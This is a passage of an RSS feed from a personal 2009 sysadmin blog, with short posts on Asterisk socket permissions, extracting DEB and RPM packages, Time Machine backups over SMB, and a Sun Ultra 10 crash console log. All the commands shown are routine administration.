</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> $ LOGOUT
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> LOGOUT
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> SYSTEM       job terminated at <span style="color:#ae81ff">27</span><span style="color:#f92672">-</span>NOV<span style="color:#f92672">-</span><span style="color:#ae81ff">2009</span> <span style="color:#ae81ff">04</span>:<span style="color:#ae81ff">04</span>:<span style="color:#ae81ff">26.81</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Accounting information:
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Buffered I<span style="color:#f92672">/</span>O count:              <span style="color:#ae81ff">99</span>         Peak working set size:    <span style="color:#ae81ff">1056</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Direct I<span style="color:#f92672">/</span>O count:                <span style="color:#ae81ff">46</span>         Peak page file size:      <span style="color:#ae81ff">3978</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Page faults:                    <span style="color:#ae81ff">471</span>         Mounted volumes:             <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Charged CPU <span style="color:#66d9ef">time</span>:           <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">00.41</span>   Elapsed <span style="color:#66d9ef">time</span>:     <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">00</span>:<span style="color:#ae81ff">05</span>:<span style="color:#ae81ff">33.58</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Welcome <span style="color:#66d9ef">to</span> VAX<span style="color:#f92672">/</span>VMS V5.<span style="color:#ae81ff">5</span><span style="color:#f92672">-</span>2H4
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> Username:
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Asterisk - permissions and ownership for the socket console</title>
      <link>https://www.deepreflect.net/2009/11/10/asterisk-permissions-and-ownership-for-the-socket-console/</link>
      <pubDate>Tue, 10 Nov 2009 06:18:28 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=752</guid> 
      <description>&lt;p&gt;If you need to give asterisk operational permission to a simple user on linux system, first of all you can add it on asterisk group, then you can edit &amp;ldquo;asterisk.conf&amp;rdquo; usually on /etc/asterisk/ and give rwx permission to asterisk group like this (add if they don&amp;rsquo;t exist):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[files]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;astctlpermissions &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;770&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;astctlowner &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; asterisk
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;astctlgroup &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; asterisk
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;astctl &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;run&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;asterisk&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;asterisk&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ctl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Restart asterisk to apply changes.&lt;/p&gt;
&lt;p&gt;Common error (wrong socket permission):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[leo&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;srv01 &lt;span style=&#34;color:#f92672&#34;&gt;~&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;$&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;usr&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;sbin&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;asterisk &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;r
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Asterisk &lt;span style=&#34;color:#ae81ff&#34;&gt;1.4&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; RPM by vc&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;rpms&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;voipconsulting&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;nl, Copyright (C) &lt;span style=&#34;color:#ae81ff&#34;&gt;1999&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2008&lt;/span&gt; Digium, Inc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; others&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Created by Mark Spencer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Asterisk comes with ABSOLUTELY NO WARRANTY; type &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;core show warranty&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; details&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This is free software, with components licensed under the GNU General Public
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;License version &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; other licenses; you are welcome to redistribute it under
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;certain conditions&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; Type &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;core show license&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; details&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=========================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Unable to connect to remote asterisk (does &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;run&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;asterisk&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;asterisk&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ctl exist&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[leo&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;srv01 &lt;span style=&#34;color:#f92672&#34;&gt;~&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>If you need to give asterisk operational permission to a simple user on linux system, first of all you can add it on asterisk group, then you can edit &ldquo;asterisk.conf&rdquo; usually on /etc/asterisk/ and give rwx permission to asterisk group like this (add if they don&rsquo;t exist):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span>[files]
</span></span><span style="display:flex;"><span>astctlpermissions <span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">770</span>
</span></span><span style="display:flex;"><span>astctlowner <span style="color:#f92672">=&gt;</span> asterisk
</span></span><span style="display:flex;"><span>astctlgroup <span style="color:#f92672">=&gt;</span> asterisk
</span></span><span style="display:flex;"><span>astctl <span style="color:#f92672">=&gt;</span> <span style="color:#f92672">/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>asterisk<span style="color:#f92672">/</span>asterisk<span style="color:#f92672">.</span>ctl
</span></span></code></pre></div><p>Restart asterisk to apply changes.</p>
<p>Common error (wrong socket permission):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span>[leo<span style="color:#960050;background-color:#1e0010">@</span>srv01 <span style="color:#f92672">~</span>]<span style="color:#f92672">$</span> <span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>asterisk <span style="color:#f92672">-</span>r
</span></span><span style="display:flex;"><span>Asterisk <span style="color:#ae81ff">1.4</span><span style="color:#f92672">.</span><span style="color:#ae81ff">22</span><span style="color:#f92672">-</span><span style="color:#ae81ff">4</span> RPM by vc<span style="color:#f92672">-</span>rpms<span style="color:#960050;background-color:#1e0010">@</span>voipconsulting<span style="color:#f92672">.</span>nl, Copyright (C) <span style="color:#ae81ff">1999</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">2008</span> Digium, Inc<span style="color:#f92672">.</span> <span style="color:#f92672">and</span> others<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Created by Mark Spencer
</span></span><span style="display:flex;"><span>Asterisk comes with ABSOLUTELY NO WARRANTY; type <span style="color:#e6db74">&#39;core show warranty&#39;</span> <span style="color:#66d9ef">for</span> details<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>This is free software, with components licensed under the GNU General Public
</span></span><span style="display:flex;"><span>License version <span style="color:#ae81ff">2</span> <span style="color:#f92672">and</span> other licenses; you are welcome to redistribute it under
</span></span><span style="display:flex;"><span>certain conditions<span style="color:#f92672">.</span> Type <span style="color:#e6db74">&#39;core show license&#39;</span> <span style="color:#66d9ef">for</span> details<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=========================================================================</span>
</span></span><span style="display:flex;"><span>Unable to connect to remote asterisk (does <span style="color:#f92672">/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>asterisk<span style="color:#f92672">/</span>asterisk<span style="color:#f92672">.</span>ctl exist<span style="color:#960050;background-color:#1e0010">?</span>)
</span></span><span style="display:flex;"><span>[leo<span style="color:#960050;background-color:#1e0010">@</span>srv01 <span style="color:#f92672">~</span>]<span style="color:#f92672">$</span>
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Extract files from DEB package</title>
      <link>https://www.deepreflect.net/2009/11/10/extract-file-from-deb-package/</link>
      <pubDate>Tue, 10 Nov 2009 06:00:17 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=744</guid> 
      <description>&lt;p&gt;Some day ago, I wrote about RPM extraction, today I need content of DEB packcage, on the contrary of rpm systems debian package manager allow to extract natively by this command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#dpkg-deb -x somepackage.i386.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But my problem is different, I not using Debian sytem, fortunately DEB files are &amp;ldquo;ar&amp;rdquo; archives, which contain three files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;debian-binary&lt;/li&gt;
&lt;li&gt;control.tar.gz&lt;/li&gt;
&lt;li&gt;data.tar.gz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;first, extract &amp;ldquo;ar&amp;rdquo; archive with this simple command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# ar vx somepackage.i386.deb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;then extract the contents of data.tar.gz using tar:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Some day ago, I wrote about RPM extraction, today I need content of DEB packcage, on the contrary of rpm systems debian package manager allow to extract natively by this command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#dpkg-deb -x somepackage.i386.deb
</span></span></code></pre></div><p>But my problem is different, I not using Debian sytem, fortunately DEB files are &ldquo;ar&rdquo; archives, which contain three files:</p>
<ul>
<li>debian-binary</li>
<li>control.tar.gz</li>
<li>data.tar.gz</li>
</ul>
<p>first, extract &ldquo;ar&rdquo; archive with this simple command:</p>
<p><code># ar vx somepackage.i386.deb</code></p>
<p>then extract the contents of data.tar.gz using tar:</p>
<p><code># tar -xzvf data.tar.gz</code></p>
<p>Or, if you want, you can made in one step:</p>
<p><code># ar p somepackage.i386.deb data.tar.gz | tar zx</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Mac OS X - Time Machine network backup without Time Capsule</title>
      <link>https://www.deepreflect.net/2009/11/03/time-machine-network-backup-without-time-capsule/</link>
      <pubDate>Tue, 03 Nov 2009 04:44:39 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=738</guid> 
      <description>&lt;p&gt;From OS X 10.5 (Leopard) Apple introduced Time Machine: a great combination of rsync/rsnapshot and a beautiful user interface.
Time Machine works in two modes: 1. local volume on local area or 2. Time Capsule over network.
Now I don&amp;rsquo;t wanna buy another box with apple logo over it for much $$$ when I have a lot of file servers on my network.&lt;/p&gt;
&lt;p&gt;Now I explain a few hoops to get this system to work:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>From OS X 10.5 (Leopard) Apple introduced Time Machine: a great combination of rsync/rsnapshot and a beautiful user interface.
Time Machine works in two modes: 1. local volume on local area or 2. Time Capsule over network.
Now I don&rsquo;t wanna buy another box with apple logo over it for much $$$ when I have a lot of file servers on my network.</p>
<p>Now I explain a few hoops to get this system to work:</p>
<p>First: persuade Time Machine to see the SMB share as a Time Machine destination by activating the unsupported network drives feature by this console command:</p>
<p>`</p>
<h1 id="defaults-write-comapplesystempreferences-tmshowunsupportednetworkvolumes-1">defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1</h1>
<p>`</p>
<p>Second: set up the file server with SMB dedicated share to Time Machine, create an appropriate disk image locally (see below) and copy it into share.</p>
<p>To create the disk image, you&rsquo;ll need to find out two pieces of information about the computer you want to backup: its Computer Name and its Ethernet ID (Ethernet MAC address). The Computer Name is the one that you set in the Sharing System Preferences pane. For example my is &ldquo;LeoBook2&rdquo;.</p>
<p>You can get the Ethernet ID by this command (use wired mac nic even if you&rsquo;ll be using wifi connection): `</p>
<h1 id="ifconfig-en0--grep-ether--sed-sg--sed-sether">ifconfig en0 | grep ether | sed s/://g | sed s/ether//</h1>
<p>`</p>
<p>Compose image name following this syntax:
Computer Name, followed by an underscore, followed by the Ethernet ID without the colons, followed by .sparsebundle (Ex. &ldquo;LeoBook2_000d9358ca26.sparsebundle&rdquo;).</p>
<p>Now go to Terminal and type the following commands:</p>
<blockquote>
<p>`# DISK_IMAGE_NAME=&ldquo;LeoBook2_000d9358ca26.sparsebundle&rdquo;</p>
<h1 id="disk_size200000">DISK_SIZE=200000</h1>
<h1 id="hdiutil-create--library-spud--megabytes-disk_size--fs-hfsj--type-sparsebundle--volname-disk_image_name-disk_image_name">hdiutil create -library SPUD -megabytes $DISK_SIZE -fs HFS+J -type SPARSEBUNDLE -volname &ldquo;$DISK_IMAGE_NAME&rdquo; &ldquo;$DISK_IMAGE_NAME&rdquo;`</h1>
</blockquote>
<p>After you&rsquo;ve run this command, you should end up with a disk image in your Home. It looks like a single file, but it&rsquo;s actually a directory (just like a application). Don&rsquo;t forget to copy this disk image to the appropriate share on your server. Just dragging and dropping from the Finder should work fine.</p>
<p>Now you are able to use the share as Time Machine backup volume.</p>
<p>Have a fun
Leo</p>
]]></content:encoded>
    </item>
    <item>
      <title>Extract files from RPM package</title>
      <link>https://www.deepreflect.net/2009/11/02/extract-files-from-rpm-package/</link>
      <pubDate>Mon, 02 Nov 2009 04:58:35 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=734</guid> 
      <description>&lt;p&gt;There is no direct RPM option available via rpm command to extract an RPM file. But there is a small utility available called rpm2cpio. It Extract cpio archive from RPM Package Manager (RPM) package.
Example extract RPM file using rpm2cpio and cpio command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# rpm2cpio somepackage.x86_64.rpm | cpio -idmv&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Output of rpm2cpio piped to cpio command with following options:
i: Restore archive
d: Create leading directories where needed
m: Retain previous file modification times when creating files
v: Verbose&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There is no direct RPM option available via rpm command to extract an RPM file. But there is a small utility available called rpm2cpio. It Extract cpio archive from RPM Package Manager (RPM) package.
Example extract RPM file using rpm2cpio and cpio command:</p>
<p><code># rpm2cpio somepackage.x86_64.rpm | cpio -idmv</code></p>
<p>Output of rpm2cpio piped to cpio command with following options:
i: Restore archive
d: Create leading directories where needed
m: Retain previous file modification times when creating files
v: Verbose</p>
]]></content:encoded>
    </item>
    <item>
      <title>Graphic Restyle</title>
      <link>https://www.deepreflect.net/2009/10/28/graphic-restyle/</link>
      <pubDate>Wed, 28 Oct 2009 12:00:55 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=731</guid> 
      <description>&lt;p&gt;I&amp;rsquo;m working on graphic restyle, today the first release!&lt;/p&gt;
&lt;p&gt;Leo&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m working on graphic restyle, today the first release!</p>
<p>Leo</p>
]]></content:encoded>
    </item>
    <item>
      <title>Sun Ultra10 - Crash/Recovery</title>
      <link>https://www.deepreflect.net/2009/10/02/sun-ultra10-crashrecovery/</link>
      <pubDate>Fri, 02 Oct 2009 05:25:19 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=727</guid> 
      <description>&lt;p&gt;Yesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m so sick, here the paste of console recovery procedure:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;go&amp;#39;&lt;/span&gt; to resume
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1000000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Stack Underflow
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok sync
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;panic[cpu0]&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;thread&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;a100057ca0: sync initiated
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sched: software trap &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7f&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, pc&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0xf0050c7c&lt;/span&gt;, sp&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2a100056e81&lt;/span&gt;, tstate&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8800001401&lt;/span&gt;, context&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;g1&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;g7: &lt;span style=&#34;color:#ae81ff&#34;&gt;104&lt;/span&gt;da44, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;183&lt;/span&gt;f000, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1082400&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;a100057ca0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;fffa9d10 unix:sync_handler&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;138&lt;/span&gt; (fffe5718, &lt;span style=&#34;color:#ae81ff&#34;&gt;1000000&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1083400&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;181500&lt;/span&gt;                                             &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l0&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;00000000018621&lt;/span&gt;b0 &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001862000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;000000000000017&lt;/span&gt;f &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001845800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l4&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;000000000183&lt;/span&gt;f000 &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001810400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;fffa9de0 unix:vx_handler&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;80&lt;/span&gt; (fffe5718, &lt;span style=&#34;color:#ae81ff&#34;&gt;181&lt;/span&gt;dfe8, f0000000, fffe0000, &lt;span style=&#34;color:#ae81ff&#34;&gt;181&lt;/span&gt;e                                             &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;f0, f003bda1)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l0&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;000000000181e0&lt;/span&gt;f0 &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000001&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l4&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001810&lt;/span&gt;c00 &lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;f0000000 &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001000000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000001018998&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;fffa9e90 unix:callback_handler&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt; (fffe5718, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
